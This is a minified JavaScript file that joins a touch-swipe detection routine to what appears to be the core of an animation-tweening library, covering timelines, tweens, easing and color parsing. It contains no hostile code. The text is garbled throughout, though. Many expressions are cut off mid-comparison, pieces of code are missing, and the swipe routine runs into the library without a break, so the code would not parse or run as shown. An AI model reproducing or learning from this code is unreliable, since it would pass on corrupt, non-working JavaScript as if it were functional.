Dt(t){N&&(!0===t?(N.on(w,G),N.on(C,K),F&&N.on(F,Z)):(N.off(w,G,!1),N.off(C,K,!1),F&&N.off(F,Z,!1)),N.data(m+"_intouch",!0===t))}function mt(t,e){var n={start:{x:0,y:0},last:{x:0,y:0},end:{x:0,y:0}};return n.start.x=n.last.x=n.end.x=e.pageX||e.clientX,n.start.y=n.last.y=n.end.y=e.pageY||e.clientY,Y[t]=n}function vt(t){var e=void 0!==t.identifier?t.identifier:0,n=Y[e]||null;return null===n&&(n=mt(e,t)),n.last.x=n.end.x,n.last.y=n.end.y,n.end.x=t.pageX||t.clientX,n.end.y=t.pageY||t.clientY,n}function _t(t){if(L[t])return L[t].distance}function yt(t){return{direction:t,distance:0}}function xt(){return z-I}function wt(t,e){var n=Math.abs(t.x-e.x),r=Math.abs(t.y-e.y);return Math.round(Math.sqrt(n*n+r*r))}function Ct(t,s){if(u=s,(a=t).x==u.x&&a.y==u.y)return o;var a,u,l,h,c,f,p,d,g=(h=s,c=(l=t).x-h.x,f=h.y-l.y,p=Math.atan2(f,c),(d=Math.round(180*p/Math.PI))<0&&(d=360-Math.abs(d)),d);return g<=45&&0<=g||g<=360&&315<=g?e:135<=g&&g<=225?n:45t._dur||e._start<0))for(var n=t;n;)n._dirty=1,n=n.parent;return t},Ft=function(t){for(var e=t.parent;e&&e.parent;)e._dirty=1,e.totalDuration(),e=e.parent;return t},Et=function(t){return t._repeat?bt(t._tTime,t=t.duration()+t._rDelay)*t:0},bt=function(t,e){var n=Math.floor(t/=e);return t&&n===t?n-1:n},Tt=function(t,e){return(t-e._start)*e._ts+(e._ts>=0?0:e._dirty?e.totalDuration():e._tDur)},Mt=function(t){return t._end=ht(t._start+(t._tDur/Math.abs(t._ts||t._rts||1e-8)||0))},At=function(t,e){var n=t._dp;return n&&n.smoothChildTiming&&t._ts&&(t._start=ht(n._time-(t._ts>0?e/t._ts:((t._dirty?t.totalDuration():t._tDur)-e)/-t._ts)),Mt(t),n._dirty||Ct(n,t)),t},Pt=function(t,e){var n;if((e._time||e._initted&&!e._dur)&&(n=Tt(t.rawTime(),e),(!e._dur||zt(0,e.totalDuration(),n)-e._tTime>1e-8)&&e.render(n,!0)),Ct(t,e)._dp&&t._initted&&t._time>=t._dur&&t._ts){if(t._dur=0&&n.totalTime(n._tTime),n=n._dp;t._zTime=-1e-8}},St=function(t,e,n,r){return e.parent&&wt(e),e._start=ht((A(n)?n:n||t!==s?Xt(t,n,e):t._time)+e._delay),e._end=ht(e._start+(e.totalDuration()/Math.abs(e.timeScale())||0)),function(t,e,n,r,i){void 0===n&&(n="_first"),void 0===r&&(r="_last");var o,s=t[r];if(i)for(o=e[i];s&&s[i]>o;)s=s._prev;s?(e._next=s._next,s._next=e):(e._next=t[n],t[n]=e),e._next?e._next._prev=e:t[r]=e,e._prev=s,e.parent=e._dp=t}(t,e,"_first","_last",t._sort?"_start":0),Bt(e)||(t._recent=e),r||Pt(t,e),t},Ot=function(t,e){return(V.ScrollTrigger||q("scrollTrigger",e))&&V.ScrollTrigger.create(e,t)},kt=function(t,e,n,r){return ke(t,e),t._initted?!n&&t._pt&&(t._dur&&!1!==t.vars.lazy||!t._dur&&t.vars.lazy)&&c!==pe.frame?($.push(t),t._lazy=[e,r],1):void 0:1},Bt=function(t){var e=t.data;return"isFromStart"===e||"isStart"===e},Lt=function(t,e,n,r){var i=t._repeat,o=ht(e)||0,s=t._tTime/t._tDur;return s&&!r&&(t._time*=o/t._dur),t._dur=o,t._tDur=i?i<0?1e10:ht(o*(i+1)+t._rDelay*i):o,s>0&&!r?At(t,t._tTime=t._tDur*s):t.parent&&Mt(t),n||Ct(t.parent,t),t},Nt=function(t){return t instanceof Me?Ct(t):Lt(t,t._dur)},Rt={_start:0,endTime:Q,totalDuration:Q},Xt=function t(e,n,r){var i,o,s,a=e.labels,u=e._recent||Rt,l=e.duration()>=y?u.endTime(!1):e._dur;return T(n)&&(isNaN(n)||n in a)?(o=n.charAt(0),s="%"===n.substr(-1),i=n.indexOf("="),"<"===o||">"===o?(i>=0&&(n=n.replace(/=/,"")),("<"===o?u._start:u.endTime(u._repeat>=0))+(parseFloat(n.substr(1))||0)*(s?(i<0?u:r).totalDuration()/100:1)):i<0?(n in a||(a[n]=l),a[n]):(o=parseFloat(n.charAt(i-1)+n.substr(i+1)),s&&r&&(o=o/100*(N(r)?r[0]:r).totalDuration()),i>1?t(e,n.substr(0,i-1),r)+o:l+o)):null==n?l:+n},Yt=function(t,e,n){var r,i,o=A(e[1]),s=(o?2:1)+(t<2?0:1),a=e[s];if(o&&(a.duration=e[1]),a.parent=n,t){for(r=a,i=n;i&&!("immediateRender"in r);)r=i.vars.defaults||{},i=O(i.vars.inherit)&&i.parent;a.immediateRender=O(r.immediateRender),t<2?a.runBackwards=1:a.startAt=e[s-1]}return new Xe(e[0],a,e[s+1])},It=function(t,e){return t||0===t?e(t):e},zt=function(t,e,n){return ne?e:n},Ht=function(t,e){return T(t)&&(e=W.exec(t))?t.substr(e.index+e[0].length):""},Wt=[].slice,Vt=function(t,e){return t&&S(t)&&"length"in t&&(!e&&!t.length||t.length-1 in t&&S(t[0]))&&!t.nodeType&&t!==a},jt=function(t,e,n){return void 0===n&&(n=[]),t.forEach((function(t){var r;return T(t)&&!e||Vt(t,1)?(r=n).push.apply(r,Ut(t)):n.push(t)}))||n},Ut=function(t,e,n){return!T(t)||n||!u&&de()?N(t)?jt(t,n):Vt(t)?Wt.call(t,0):t?[t]:[]:Wt.call((e||l).querySelectorAll(t),0)},qt=function(t){return t.sort((function(){return.5-Math.random()}))},Gt=function(t){if(M(t))return t;var e=S(t)?t:{each:t},n=xe(e.ease),r=e.from||0,i=parseFloat(e.base)||0,o={},s=r>0&&r<1,a=isNaN(r)||s,u=e.axis,l=r,h=r;return T(r)?l=h={center:.5,edges:.5,end:1}[r]||0:!s&&a&&(l=r[0],h=r[1]),function(t,s,c){var f,p,d,g,D,m,v,_,x,w=(c||e).length,C=o[w];if(!C){if(!(x="auto"===e.grid?0:(e.grid||[1,y])[1])){for(v=-y;v<(v=c[x++].getBoundingClientRect().left)&&xv&&(v=D),D<_&&(_=D);"random"===r&&qt(C),C.max=v-_,C.min=_,C.v=w=(parseFloat(e.amount)||parseFloat(e.each)*(x>w?w-1:u?"y"===u?w/x:x:Math.max(x,w/x))||0)*("edges"===r?-1:1),C.b=w<0?i-w:i,C.u=Ht(e.amount||e.each)||0,n=n&&w<0?_e(n):n}return w=(C[t]-C.min)/C.max||0,ht(C.b+(n?n(w):w)*C.v)+C.u}},Kt=function(t){var e=Math.pow(10,((t+"").split(".")[1]||"").length);return function(n){var r=Math.round(parseFloat(n)/t)*t*e;return(r-r%1)/e+(A(n)?0:Ht(n))}},Qt=function(t,e){var n,r,i=N(t);return!i&&S(t)&&(n=i=t.radius||y,t.values?(t=Ut(t.values),(r=!A(t[0]))&&(n*=n)):t=Kt(t.increment)),It(e,i?M(t)?function(e){return r=t(e),Math.abs(r-e)<=n?r:e}:function(e){for(var i,o,s=parseFloat(r?e.x:e),a=parseFloat(r?e.y:0),u=y,l=0,h=t.length;h--;)(i=r?(i=t[h].x-s)*i+(o=t[h].y-a)*o:Math.abs(t[h]-s))(i=Math.abs(i))&&(o=r,a=i);return o},ne=function(t,e,n){var r,i,o=t.vars,s=o[e];if(s)return r=o[e+"Params"],i=o.callbackScope||t,n&&$.length&&ft(),r?s.apply(i,r):s.call(i)},re=function(t){return wt(t),t.scrollTrigger&&t.scrollTrigger.kill(!1),t.progress()<1&&ne(t,"onInterrupt"),t},ie=function(t){var e=(t=!t.name&&t.default||t).name,n=M(t),r=e&&!n&&t.init?function(){this._props=[]}:t,i={init:Q,render:qe,add:Se,kill:Ke,modifier:Ge,rawVars:0},o={targetTest:0,get:0,getSetter:We,aliases:{},register:0};if(de(),t!==r){if(tt[e])return;Dt(r,Dt(_t(t,i),o)),mt(r.prototype,mt(i,_t(t,o))),tt[r.prop=e]=r,t.targetTest&&(rt.push(r),Z[e]=1),e=("css"===e?"CSS":e.charAt(0).toUpperCase()+e.substr(1))+"Plugin"}K(e,r),t.register&&t.register(nn,r,$e)},oe={aqua:[0,255,255],lime:[0,255,0],silver:[192,192,192],black:[0,0,0],maroon:[128,0,0],teal:[0,128,128],blue:[0,0,255],navy:[0,0,128],white:[255,255,255],olive:[128,128,0],yellow:[255,255,0],orange:[255,165,0],gray:[128,128,128],purple:[128,0,128],green:[0,128,0],red:[255,0,0],pink:[255,192,203],cyan:[0,255,255],transparent:[255,255,255,0]},se=function(t,e,n){return 255*(6*(t+=t<0?1:t>1?-1:0)<1?e+(n-e)*t*6:t<.5?n:3*t<2?e+(n-e)*(2/3-t)*6:e)+.5|0},ae=function(t,e,n){var r,i,o,s,a,u,l,h,c,f,p=t?A(t)?[t>>16,t>>8&255,255&t]:0:oe.black;if(!p){if(","===t.substr(-1)&&(t=t.substr(0,t.length-1)),oe[t])p=oe[t];else if("#"===t.charAt(0)){if(t.length<6&&(r=t.charAt(1),i=t.charAt(2),o=t.charAt(3),t="#"+r+r+i+i+o+o+(5===t.length?t.charAt(4)+t.charAt(4):"")),9===t.length)return[(p=parseInt(t.substr(1,6),16))>>16,p>>8&255,255&p,parseInt(t.substr(7),16)/255];p=[(t=parseInt(t.substr(1),16))>>16,t>>8&255,255&t]}else if("hsl"===t.substr(0,3))if(p=f=t.match(R),e){if(~t.indexOf("="))return p=t.match(X),n&&p.length<4&&(p[3]=1),p}else s=+p[0]%360/360,a=+p[1]/100,r=2*(u=+p[2]/100)-(i=u<=.5?u*(a+1):u+a-u*a),p.length>3&&(p[3]*=1),p[0]=se(s+1/3,r,i),p[1]=se(s,r,i),p[2]=se(s-1/3,r,i);else p=t.match(R)||oe.transparent;p=p.map(Number)}return e&&!f&&(r=p[0]/255,i=p[1]/255,o=p[2]/255,u=((l=Math.max(r,i,o))+(h=Math.min(r,i,o)))/2,l===h?s=a=0:(c=l-h,a=u>.5?c/(2-l-h):c/(l+h),s=l===r?(i-o)/c+(ic&&(d+=_-f),((u=(h=(g+=_)-d)-m)>0||y)&&(p=++r.frame,i=h-1e3*r.time,r.time=h/=1e3,m+=u+(u>=D?4:D-u),l=1),y||(t=e(n)),l)for(o=0;o=e&&o--},_listeners:v}}(),de=function(){return!p&&pe.wake()},ge={},De=/^[\d.\-M][\d.\-,\s]/,me=/["']/g,ve=function(t){for(var e,n,r,i={},o=t.substr(1,t.length-3).split(":"),s=o[0],a=1,u=o.length;a1&&s.config?s.config.apply(null,~t.indexOf("{")?[ve(o[1])]:(e=t,n=e.indexOf("(")+1,r=e.indexOf(")"),i=e.indexOf("(",n),e.substring(n,~i&&i=1?n:1,o=(r||(e?.3:.45))/(n<1?n:1),s=o/x*(Math.asin(1/i)||0),a=function(t){return 1===t?1:i*Math.pow(2,-10*t)*b((t-s)*o)+1},u="out"===e?a:"in"===e?function(t){return 1-a(1-t)}:Ce(a);return o=x/o,u.config=function(n,r){return t(e,n,r)},u},Ee=function t(e,n){void 0===n&&(n=1.70158);var r=function(t){return t?--t*t*((n+1)*t+n)+1:0},i="out"===e?r:"in"===e?function(t){return 1-r(1-t)}:Ce(r);return i.config=function(n){return t(e,n)},i};ut("Linear,Quad,Cubic,Quart,Quint,Strong",(function(t,e){var n=e<5?e+1:e;we(t+",Power"+(n-1),e?function(t){return Math.pow(t,n)}:function(t){return t},(function(t){return 1-Math.pow(1-t,n)}),(function(t){return t<.5?Math.pow(2*t,n)/2:1-Math.pow(2*(1-t),n)/2}))})),ge.Linear.easeNone=ge.none=ge.Linear.easeIn,we("Elastic",Fe("in"),Fe("out"),Fe()),d=7.5625,D=1/(g=2.75),we("Bounce",(function(t){return 1-m(1-t)}),m=function(t){return t0?t+(t+this._rDelay)*this._repeat:t):this.totalDuration()&&this._dur},e.totalDuration=function(t){return arguments.length?(this._dirty=0,Lt(this,this._repeat<0?t:(t-this._repeat*this._rDelay)/(this._repeat+1))):this._tDur},e.totalTime=function(t,e){if(de(),!arguments.length)return this._tTime;var n=this._dp;if(n&&n.smoothChildTiming&&this._ts){for(At(this,t),!n._dp||n.parent||Pt(n,this);n&&n.parent;)n.parent._time!==n._start+(n._ts>=0?n._tTime/n._ts:(n.totalDuration()-n._tTime)/-n._ts)&&n.totalTime(n._tTime,!0),n=n.parent;!this.parent&&this._dp.autoRemoveChildren&&(this._ts>0&&t0||!this._tDur&&!t)&&St(this._dp,this,this._start-this._delay)}return(this._tTime!==t||!this._dur&&!e||this._initted&&1e-8===Math.abs(this._zTime)||!t&&!this._initted&&(this.add||this._ptLookup))&&(this._ts||(this._pTime=t),pt(this,t,e)),this},e.time=function(t,e){return arguments.length?this.totalTime(Math.min(this.totalDuration(),t+Et(this))%(this._dur+this._rDelay)||(t?this._dur:0),e):this._time},e.totalProgress=function(t,e){return arguments.length?this.totalTime(this.totalDuration()*t,e):this.totalDuration()?Math.min(1,this._tTime/this._tDur):this.ratio},e.progress=function(t,e){return arguments.length?this.totalTime(this.duration()*(!this._yoyo||1&this.iteration()?t:1-t)+Et(this),e):this.duration()?Math.min(1,this._time/this._dur):this.ratio},e.iteration=function(t,e){var n=this.duration()+this._rDelay;return arguments.length?this.totalTime(this._time+(t-1)*n,e):this._repeat?bt(this._tTime,n)+1:1},e.timeScale=function(t){if(!arguments.length)return-1e-8===this._rts?0:this._rts;if(this._rts===t)return this;var e=this.parent&&this._ts?Tt(this.parent._time,this):this._tTime;return this._rts=+t||0,this._ts=this._ps||-1e-8===t?0:this._rts,Ft(this.totalTime(zt(-this._delay,this._tDur,e),!0)),Mt(this),this},e.paused=function(t){return arguments.length?(this._ps!==t&&(this._ps=t,t?(this._pTime=this._tTime||Math.max(-this._delay,this.rawTime()),this._ts=this._act=0):(de(),this._ts=this._rts,this.totalTime(this.parent&&!this.parent.smoothChildTiming?this.rawTime():this._tTime||this._pTime,1===this.progress()&&1e-8!==Math.abs(this._zTime)&&(this._tTime-=1e-8)))),this):this._ps},e.startTime=function(t){if(arguments.length){this._start=t;var e=this.parent||this._dp;return e&&(e._sort||!this.parent)&&St(e,this,t-this._delay),this}return this._start},e.endTime=function(t){return this._start+(O(t)?this.totalDuration():this.duration())/Math.abs(this._ts||1)},e.rawTime=function(t){var e=this.parent||this._dp;return e?t&&(!this._ts||this._repeat&&this._time&&this.totalProgress()<1)?this._tTime%(this._dur+this._rDelay):this._ts?Tt(e.rawTime(t),this):this._tTime:this._tTime},e.globalTime=function(t){for(var e=this,n=arguments.length?t:e.rawTime();e;)n=e._start+n/(e._ts||1),e=e._dp;return n},e.repeat=function(t){return arguments.length?(this._repeat=t===1/0?-2:t,Nt(this)):-2===this._repeat?1/0:this._repeat},e.repeatDelay=function(t){if(arguments.length){var e=this._time;return this._rDelay=t,Nt(this),e?this.time(e):this}return this._rDelay},e.yoyo=function(t){return arguments.length?(this._yoyo=t,this):this._yoyo},e.seek=function(t,e){return this.totalTime(Xt(this,t),O(e))},e.restart=function(t,e){return this.play().totalTime(t?-this._delay:0,O(e))},e.play=function(t,e){return null!=t&&this.seek(t,e),this.reversed(!1).paused(!1)},e.reverse=function(t,e){return null!=t&&this.seek(t||this.totalDuration(),e),this.reversed(!0).paused(!1)},e.pause=function(t,e){return null!=t&&this.seek(t,e),this.paused(!0)},e.resume=function(){return this.paused(!1)},e.reversed=function(t){return arguments.length?(!!t!==this.reversed()&&this.timeScale(-this._rts||(t?-1e-8:0)),this):this._rts<0},e.invalidate=function(){return this._initted=this._act=0,this._zTime=-1e-8,this},e.isActive=function(){var t,e=this.parent||this._dp,n=this._start;return!(e&&!(this._ts&&this._initted&&e.isActive()&&(t=e.rawTime(!0))>=n&&t1?(e?(r[t]=e,n&&(r[t+"Params"]=n),"onUpdate"===t&&(this._onUpdate=e)):delete r[t],this):r[t]},e.then=function(t){var e=this;return new Promise((function(n){var r=M(t)?t:gt,i=function(){var t=e.then;e.then=null,M(r)&&(r=r(e))&&(r.then||r===e)&&(e.then=t),n(r),e.then=t};e._initted&&1===e.totalProgress()&&e._ts>=0||!e._tTime&&e._ts<0?i():e._prom=i}))},e.kill=function(){re(this)},t}();Dt(Te.prototype,{_time:0,_start:0,_end:0,_tTime:0,_tDur:0,_dirty:0,_repeat:0,_yoyo:!1,parent:null,_initted:!1,_rDelay:0,_ts:1,_dp:0,ratio:0,_zTime:-1e-8,_prom:0,_ps:!1,_rts:1});var Me=function(t){function e(e,n){var i;return void 0===e&&(e={}),(i=t.call(this,e)||this).labels={},i.smoothChildTiming=!!e.smoothChildTiming,i.autoRemoveChildren=!!e.autoRemoveChildren,i._sort=O(e.sortChildren),s&&St(e.parent||s,r(i),n),e.reversed&&i.reverse(),e.paused&&i.paused(!0),e.scrollTrigger&&Ot(r(i),e.scrollTrigger),i}i(e,t);var n=e.prototype;return n.to=function(t,e,n){return Yt(0,arguments,this),this},n.from=function(t,e,n){return Yt(1,arguments,this),this},n.fromTo=function(t,e,n,r){return Yt(2,arguments,this),this},n.set=function(t,e,n){return e.duration=0,e.parent=this,yt(e).repeatDelay||(e.repeat=0),e.immediateRender=!!e.immediateRender,new Xe(t,e,Xt(this,n),1),this},n.call=function(t,e,n){return St(this,Xe.delayedCall(0,t,e),n)},n.staggerTo=function(t,e,n,r,i,o,s){return n.duration=e,n.stagger=n.stagger||r,n.onComplete=o,n.onCompleteParams=s,n.parent=this,new Xe(t,n,Xt(this,i)),this},n.staggerFrom=function(t,e,n,r,i,o,s){return n.runBackwards=1,yt(n).immediateRender=O(n.immediateRender),this.staggerTo(t,e,n,r,i,o,s)},n.staggerFromTo=function(t,e,n,r,i,o,s,a){return r.startAt=n,yt(r).immediateRender=O(r.immediateRender),this.staggerTo(t,e,r,i,o,s,a)},n.render=function(t,e,n){var r,i,o,a,u,l,h,c,f,p,d,g,D=this._time,m=this._dirty?this.totalDuration():this._tDur,v=this._dur,_=t<=0?0:ht(t),y=this._zTime<0!=t<0&&(this._initted||!v);if(this!==s&&_>m&&t>=0&&(_=m),_!==this._tTime||n||y){if(D!==this._time&&v&&(_+=this._time-D,t+=this._time-D),r=_,f=this._start,l=!(c=this._ts),y&&(v||(D=this._zTime),(t||!e)&&(this._zTime=t)),this._repeat){if(d=this._yoyo,u=v+this._rDelay,this._repeat<-1&&t<0)return this.totalTime(100*u+t,e,n);if(r=ht(_%u),_===m?(a=this._repeat,r=v):((a=~~(_/u))&&a===_/u&&(r=v,a--),r>v&&(r=v)),p=bt(this._tTime,u),!D&&this._tTime&&p!==a&&(p=a),d&&1&a&&(r=v-r,g=1),a!==p&&!this._lock){var x=d&&1&p,w=x===(d&&1&a);if(ae)for(r=t._first;r&&r._start<=n;){if("isPause"===r.data&&r._start>e)return r;r=r._next}else for(r=t._last;r&&r._start>=n;){if("isPause"===r.data&&r._start=D&&t>=0)for(i=this._first;i;){if(o=i._next,(i._act||r>=i._start)&&i._ts&&h!==i){if(i.parent!==this)return this.render(t,e,n);if(i.render(i._ts>0?(r-i._start)*i._ts:(i._dirty?i.totalDuration():i._tDur)+(r-i._start)*i._ts,e,n),r!==this._time||!this._ts&&!l){h=0,o&&(_+=this._zTime=-1e-8);break}}i=o}else{i=this._last;for(var C=t<0?t:r;i;){if(o=i._prev,(i._act||C<=i._end)&&i._ts&&h!==i){if(i.parent!==this)return this.render(t,e,n);if(i.render(i._ts>0?(C-i._start)*i._ts:(i._dirty?i.totalDuration():i._tDur)+(C-i._start)*i._ts,e,n),r!==this._time||!this._ts&&!l){h=0,o&&(_+=this._zTime=C?-1e-8:1e-8);break}}i=o}}if(h&&!e&&(this.pause(),h.render(r>=D?0:-1e-8)._zTime=r>=D?1:-1,this._ts))return this._start=f,Mt(this),this.render(t,e,n);this._onUpdate&&!e&&ne(this,"onUpdate",!0),(_===m&&m>=this.totalDuration()||!_&&D)&&(f!==this._start&&Math.abs(c)===Math.abs(this._ts)||this._lock||((t||!v)&&(_===m&&this._ts>0||!_&&this._ts<0)&&wt(this,1),e||t<0&&!D||!_&&!D&&m||(ne(this,_===m&&t>=0?"onComplete":"onReverseComplete",!0),this._prom&&!(_0)&&this._prom())))}return this},n.add=function(t,e){var n=this;if(A(e)||(e=Xt(this,e,t)),!(t instanceof Te)){if(N(t))return t.forEach((function(t){return n.add(t,e)})),this;if(T(t))return this.addLabel(t,e);if(!M(t))return this;t=Xe.delayedCall(0,t)}return this!==t?St(this,t,e):this},n.getChildren=function(t,e,n,r){void 0===t&&(t=!0),void 0===e&&(e=!0),void 0===n&&(n=!0),void 0===r&&(r=-y);for(var i=[],o=this._first;o;)o._start>=r&&(o instanceof Xe?e&&i.push(o):(n&&i.push(o),t&&i.push.apply(i,o.getChildren(!0,e,n)))),o=o._next;return i},n.getById=function(t){for(var e=this.getChildren(1,1,1),n=e.length;n--;)if(e[n].vars.id===t)return e[n]},n.remove=function(t){return T(t)?this.removeLabel(t):M(t)?this.killTweensOf(t):(xt(this,t),t===this._recent&&(this._recent=this._last),Ct(this))},n.totalTime=function(e,n){return arguments.length?(this._forcing=1,!this._dp&&this._ts&&(this._start=ht(pe.time-(this._ts>0?e/this._ts:(this.totalDuration()-e)/-this._ts))),t.prototype.totalTime.call(this,e,n),this._forcing=0,this):this._tTime},n.addLabel=function(t,e){return this.labels[t]=Xt(this,e),this},n.removeLabel=function(t){return delete this.labels[t],this},n.addPause=function(t,e,n){var r=Xe.delayedCall(0,e||Q,n);return r.data="isPause",this._hasPause=1,St(this,r,Xt(this,t))},n.removePause=function(t){var e=this._first;for(t=Xt(this,t);e;)e._start===t&&"isPause"===e.data&&wt(e),e=e._next},n.killTweensOf=function(t,e,n){for(var r=this.getTweensOf(t,n),i=r.length;i--;)Ae!==r[i]&&r[i].kill(t,e);return this},n.getTweensOf=function(t,e){for(var n,r=[],i=Ut(t),o=this._first,s=A(e);o;)o instanceof Xe?ct(o._targets,i)&&(s?(!Ae||o._initted&&o._ts)&&o.globalTime(0)<=e&&o.globalTime(o.totalDuration())>e:!e||o.isActive())&&r.push(o):(n=o.getTweensOf(i,e)).length&&r.push.apply(r,n),o=o._next;return r},n.tweenTo=function(t,e){e=e||{};var n,r=this,i=Xt(r,t),o=e,s=o.startAt,a=o.onStart,u=o.onStartParams,l=o.immediateRender,h=Xe.to(r,Dt({ease:e.ease||"none",lazy:!1,immediateRender:!1,time:i,overwrite:"auto",duration:e.duration||Math.abs((i-(s&&"time"in s?s.time:r._time))/r.timeScale())||1e-8,onStart:function(){if(r.pause(),!n){var t=e.duration||Math.abs((i-(s&&"time"in s?s.time:r._time))/r.timeScale());h._dur!==t&&Lt(h,t,0,1).render(h._time,!0,!0),n=1}a&&a.apply(h,u||[])}},e));return l?h.render(0):h},n.tweenFromTo=function(t,e,n){return this.tweenTo(e,Dt({startAt:{time:Xt(this,t)}},n))},n.recent=function(){return this._recent},n.nextLabel=function(t){return void 0===t&&(t=this._time),ee(this,Xt(this,t))},n.previousLabel=function(t){return void 0===t&&(t=this._time),ee(this,Xt(this,t),1)},n.currentLabel=function(t){return arguments.length?this.seek(t,!0):this.previousLabel(this._time+1e-8)},n.shiftChildren=function(t,e,n){void 0===n&&(n=0);for(var r,i=this._first,o=this.labels;i;)i._start>=n&&(i._start+=t,i._end+=t),i=i._next;if(e)for(r in o)o[r]>=n&&(o[r]+=t);return Ct(this)},n.invalidate=function(){var e=this._first;for(this._lock=0;e;)e.invalidate(),e=e._next;return t.prototype.invalidate.call(this)},n.clear=function(t){void 0===t&&(t=!0);for(var e,n=this._first;n;)e=n._next,this.remove(n),n=e;return this._dp&&(this._time=this._tTime=this._pTime=0),t&&(this.labels={}),Ct(this)},n.totalDuration=function(t){var e,n,r,i=0,o=this,a=o._last,u=y;if(arguments.length)return o.timeScale((o._repeat<0?o.duration():o.totalDuration())/(o.reversed()?-t:t));if(o._dirty){for(r=o.parent;a;)e=a._prev,a._dirty&&a.totalDuration(),(n=a._start)>u&&o._sort&&a._ts&&!o._lock?(o._lock=1,St(o,a,n-a._delay,1)._lock=0):u=n,n<0&&a._ts&&(i-=n,(!r&&!o._dp||r&&r.smoothChildTiming)&&(o._start+=n/o._ts,o._time-=n,o._tTime-=n),o.shiftChildren(-n,!1,-Infinity),u=0),a._end>i&&a._ts&&(i=a._end),a=e;Lt(o,o===s&&o._time>i?o._time:i,1,1),o._dirty=0}return o._tDur},e.updateRoot=function(t){if(s._ts&&(pt(s,Tt(t,s)),c=pe.frame),pe.frame>=nt){nt+=v.autoSleep||120;var e=s._first;if((!e||!e._ts)&&v.autoSleep&&pe._listeners.length<2){for(;e&&!e._ts;)e=e._next;e||pe.sleep()}}},e}(Te);Dt(Me.prototype,{_lock:0,_hasPause:0,_forcing:0});var Ae,Pe=function(t,e,n,r,i,o,s){var a,u,l,h,c,f,p,d,g=new $e(this._pt,t,e,0,1,Ue,null,i),D=0,m=0;for(g.b=n,g.e=r,n+="",(p=~(r+="").indexOf("random("))&&(r=Jt(r)),o&&(o(d=[n,r],t,e),n=d[0],r=d[1]),u=n.match(I)||[];a=I.exec(r);)h=a[0],c=r.substring(D,a.index),l?l=(l+1)%5:"rgba("===c.substr(-5)&&(l=1),h!==u[m++]&&(f=parseFloat(u[m-1])||0,g._pt={_next:g._pt,p:c||1===m?c:",",s:f,c:"="===h.charAt(1)?parseFloat(h.substr(2))*("-"===h.charAt(0)?-1:1):parseFloat(h)-f,m:l&&l<4?Math.round:0},D=I.lastIndex);return g.c=D0&&!S&&(e._startAt=0),k&&n<=0)return void(n&&(e._zTime=n))}else!1===S&&(e._startAt=0);else if(M&&k)if(B)!S&&(e._startAt=0);else if(n&&(C=!1),a=Dt({overwrite:!1,data:"isFromStart",lazy:C&&O(F),immediateRender:C,stagger:0,parent:N},r),D&&(a[f.prop]=D),wt(e._startAt=Xe.set(L,a)),n<0&&e._startAt.render(-1,!0),e._zTime=n,C){if(!n)return}else t(e._startAt,1e-8);for(e._pt=0,F=k&&O(F)||F&&!k,i=0;i")}));else{for(p in c={},F)"ease"===p||"easeEach"===p||Be(p,F[p],c,F.easeEach);for(p in c)for(k=c[p].sort((function(t,e){return t.t-e.t})),Y=0,h=0;hp-1e-8&&t>=0?p:t<1e-8?0:t;if(d){if(g!==this._tTime||!t||n||!this._initted&&this._tTime||this._startAt&&this._zTime<0!=t<0){if(r=g,h=this.timeline,this._repeat){if(s=d+this._rDelay,this._repeat<-1&&t<0)return this.totalTime(100*s+t,e,n);if(r=ht(g%s),g===p?(o=this._repeat,r=d):((o=~~(g/s))&&o===g/s&&(r=d,o--),r>d&&(r=d)),(u=this._yoyo&&1&o)&&(c=this._yEase,r=d-r),a=bt(this._tTime,s),r===f&&!n&&this._initted)return this;o!==a&&(h&&this._yEase&&ye(h,u),!this.vars.repeatRefresh||u||this._lock||(this._lock=n=1,this.render(ht(s*o),!0).invalidate()._lock=0))}if(!this._initted){if(kt(this,t<0?t:r,n,e))return this._tTime=0,this;if(d!==this._dur)return this.render(t,e,n)}if(this._tTime=g,this._time=r,!this._act&&this._ts&&(this._act=1,this._lazy=0),this.ratio=l=(c||this._ease)(r/d),this._from&&(this.ratio=l=1-l),r&&!f&&!e&&(ne(this,"onStart"),this._tTime!==g))return this;for(i=this._pt;i;)i.r(l,i.d),i=i._next;h&&h.render(t<0?t:!r&&u?-1e-8:h._dur*h._ease(r/this._dur),e,n)||this._startAt&&(this._zTime=t),this._onUpdate&&!e&&(t<0&&this._startAt&&this._startAt.render(t,!0,n),ne(this,"onUpdate")),this._repeat&&o!==a&&this.vars.onRepeat&&!e&&this.parent&&ne(this,"onRepeat"),g!==this._tDur&&g||this._tTime!==g||(t<0&&this._startAt&&!this._onUpdate&&this._startAt.render(t,!0,!0),(t||!d)&&(g===this._tDur&&this._ts>0||!g&&this._ts<0)&&wt(this,1),e||t<0&&!f||!g&&!f||(ne(this,g===p?"onComplete":"onReverseComplete",!0),this._prom&&!(g0)&&this._prom()))}}else!function(t,e,n,r){var i,o,s,a=t.ratio,u=e<0||!e&&(!t._start&&function t(e){var n=e.parent;return n&&n._ts&&n._initted&&!n._lock&&(n.rawTime()<0||t(n))}(t)&&(t._initted||!Bt(t))||(t._ts<0||t._dp._ts<0)&&!Bt(t))?0:1,l=t._rDelay,h=0;if(l&&t._repeat&&(h=zt(0,t._tDur,e),o=bt(h,l),t._yoyo&&1&o&&(u=1-u),o!==bt(t._tTime,l)&&(a=1-u,t.vars.repeatRefresh&&t._initted&&t.invalidate())),u!==a||r||1e-8===t._zTime||!e&&t._zTime){if(!t._initted&&kt(t,e,r,n))return;for(s=t._zTime,t._zTime=e||(n?1e-8:0),n||(n=e&&!s),t.ratio=u,t._from&&(u=1-u),t._time=0,t._tTime=h,i=t._pt;i;)i.r(u,i.d),i=i._next;t._startAt&&e<0&&t._startAt.render(e,!0,!0),t._onUpdate&&!n&&ne(t,"onUpdate"),h&&t._repeat&&!n&&t.parent&&ne(t,"onRepeat"),(e>=t._tDur||e<0)&&t.ratio===u&&(u&&wt(t,1),n||(ne(t,u?"onComplete":"onReverseComplete",!0),t._prom&&t._prom()))}else t._zTime||(t._zTime=e)}(this,t,e,n);return this},n.targets=function(){return this._targets},n.invalidate=function(){return this._pt=this._op=this._startAt=this._onUpdate=this._lazy=this.ratio=0,this._ptLookup=[],this.timeline&&this.timeline.invalidate(),t.prototype.invalidate.call(this)},n.kill=function(t,e){if(void 0===e&&(e="all"),!(t||e&&"all"!==e))return this._lazy=this._pt=0,this.parent?re(this):this;if(this.timeline){var n=this.timeline.totalDuration();return this.timeline.killTweensOf(t,e,Ae&&!0!==Ae.vars.overwrite)._first||re(this),this.parent&&n!==this.timeline.totalDuration()&&Lt(this,this._dur*this.timeline._tDur/n,0,1),this}var 